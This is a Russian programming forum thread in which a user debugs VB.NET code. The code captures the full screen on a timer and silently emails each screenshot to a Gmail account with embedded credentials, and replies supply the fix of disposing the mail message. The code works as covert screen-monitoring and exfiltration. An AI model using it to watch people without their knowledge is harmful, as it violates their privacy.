Форум программистов, компьютерный форум, киберфорум
Visual Basic .NET
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск  
 
 
Рейтинг 4.86/21: Рейтинг темы: голосов - 21, средняя оценка - 4.86
4 / 4 / 0
Регистрация: 29.01.2017
Сообщений: 54

Снимок экрана - Отправка скриншота на почту

27.02.2017, 06:34. Показов 4482. Ответов 23
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
VB.NET
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Imports System.Net.Mail
 
 
Public Class Vault
 
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Start()
    End Sub
 
#Region "screenshot"
 
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Try
            Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
            Dim screenGrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
            Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(screenGrab)
            g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)
            screenGrab.Save("C:\xxx.jpeg")
 
 
 
            Dim SmtpServer As New SmtpClient
            SmtpServer.EnableSsl = True
            Dim mail As New MailMessage
            SmtpServer.Credentials = New Net.NetworkCredential("xxxxxxx@gmail.com", "xxxxxxx")
            SmtpServer.Port = 587
            SmtpServer.Host = "smtp.gmail.com"
            mail = New MailMessage
            mail.From = New MailAddress("xxxxxxx@gmail.com")
            mail.To.Add("xxxxxxx@gmail.com")
            mail.Subject = ("SCREEN, " + System.DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss"))
            mail.Body = "Pics"
            Dim attachment As System.Net.Mail.Attachment
            attachment = New System.Net.Mail.Attachment("C:\xxx.jpeg")
            mail.Attachments.Add(attachment)
            SmtpServer.Send(mail)
 
        Catch ex As Exception
        End Try
 
    End Sub
#End Region
 
End Class




Отправка скриншота работает некорректно, по таймеру отправляет 1 -2 раза и на этом прерывается. Что не так в коде?
1
Лучшие ответы (1)
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
27.02.2017, 06:34
Ответы с готовыми решениями:

Получение скриншота экрана
Привет всем! Пытаюсь получить скриншот экрана: QDesktopWidget *desktop = MyApplication::desktop(); QPixmap pic =...

Отправка скриншота на FTP
Public Class Vault Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal...

Снимок экрана
Доброго времени суток господа программисты !!! Хочу спросить вот, о чём как сделать снимок экрана чтобы на нём было видно всё ! Делаю...

23
4 / 4 / 0
Регистрация: 29.01.2017
Сообщений: 54
27.02.2017, 16:32  [ТС]
Студворк — интернет-сервис помощи студентам
Лучший ответ спасибо всё работает как часы!
0
3 / 3 / 0
Регистрация: 04.02.2016
Сообщений: 30
28.02.2017, 08:24
Цитата Сообщение от Sklifosofsky Посмотреть сообщение
после отправки нужно очистить тело письма, т.к оно блочит доступ к файлу, а при новом вызове screenGrab уже не может его перезаписать
была аналогичная проблема, создавался файл, отправлялся по почте, не знаю, освобождался ли он через 5 минут, но повторно создать и отправить не мог, пришлось мудрить с именем файла, что бы создавать новые имена файлов
1
4 / 4 / 0
Регистрация: 29.01.2017
Сообщений: 54
28.02.2017, 08:32  [ТС]
а нужно было вего то дописать mail.Dispose()
1
3 / 3 / 0
Регистрация: 04.02.2016
Сообщений: 30
28.02.2017, 08:36
Цитата Сообщение от amstersi Посмотреть сообщение
а нужно было вего то дописать mail.Dispose()
дак оно всегда так, ларчик открывается просто если есть ключик, а по навиности, не зная брода, сунешься в воду, в итоге - ни ключика, и мокрый до нитки, а задача как была нерешимой, так и ... в общем спасибо добрым людям, которые деляться своими знаниями здесь, на форуме
1
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
28.02.2017, 08:36

Снимок экрана
Доброго времени суток! В библиотеке открыли доступ к электронным журналам. Можно только просматривать. Всё бы нормально, но можно...

Способы получения скриншота экрана
Всем привет. Есть ли способ сделать скрин экрана помимо использования метода CopyFromScreen? Мне необходимо реализовать потоковую...

Передача скриншота экрана (clientsocket)
Всем привет! Проблемма заключаеться в том что не могу разобраться с компонентами clientsocket и serversocket мне нужно: 1 программа,...

Отправка скриншота через Socket
Здравствуйте прошу у вас помощи пытался написать сию программу ,но видимо руки не достаточно ровные. Вот что в итоге получилось: ...

Отправка скриншота POST запросом
Собственно, сначала я изложу как я понимаю POST, затем задам вопросы. Красным подсветил вопрос номер 1. Еще, в кьют я...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
24
Ответ Создать тему
Новые блоги и статьи
Запустил конкурс "тем и промптов для текстовых квестов созданных почти чисто ИИ"
Adler 06.10.2026
Всем привет! За последние три-четыре дня я создал более 16 текстовых квестовых игр используя преимущественно по одному запросу к ИИ на игру. Мне так понравилось смотреть все ветки/ сцены во всех. . .
ИИ не может найти нужный язык в списке
Supersumestria 05.10.2026
Я ему даю вот такое изображение и прошу найти и подчеркнуть немецкий язык. Возвращает он вот это: https:/ / i. **********/ vqBWLe2. png Нужную строчку в 3й колонке просто выдумал. . Это. . .
Новая последняя моя музыка в SUNO
zorxor 05.10.2026
Здравствуйте, дорогие мои друзья! С большой радостью я хотел бы представить вам свою новую последнею музыку, которую сгенерировала мне по моей просьбе нейросеть SUNO. С уважением, zorxor. Это. . .
Программный домашний кинотеатр
russiannick 27.09.2026
Сподобился на программный домашний кинотеатр. В качестве ЯВУ по традиции выбрал js. В помощники взял Яндекс-Алису. Было создано три зала на разные интересы. исторические и ретро сериал Хичкок. . .
Беседа с ИИ о программистах, недопускающих к созданию и правке кода генеративные ИИ и причины этого
zorxor 21.09.2026
Раньше я радовался или получал некоторые эмоции, пусть небольшие, но всё же, от самого процесса написания кода, рекомпиляции и запуска, видя постепенное развитие программы и прочее. А теперь лень. . .
Мобильное приложение ColorStep
pavlinmavlin 17.09.2026
Реализовал приложение Красный, Зеленый, Синий в Unity3d + c#. Название изменил на ColorStep. Приложение прошло модерацию и теперь доступно для скачивания. Делал его сам, шаг за шагом — и вот,. . .
Запрет дублирования строк в табличной части
Maks 13.09.2026
Реализация из решения ниже выполнена на нетиповом справочнике "Нормы ТО" с табличной часть "Виды ТО", разработанного в КА2, со следующими реквизитами: - ВидТО (СправочникСсылка. ВидыТО); - ВидГСМ. . .
Скрипты Tampermonkey для CyberForum, ChatGPT, Claude и пр.
Jin X 06.09.2026
Скрипты Tampermonkey для CyberForum, ChatGPT, Claude и пр. Работая с форумом и нейросетями в браузере часто хочется что-то подкорректировать или добавить какого-то функционала. Ниже прикреплён. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru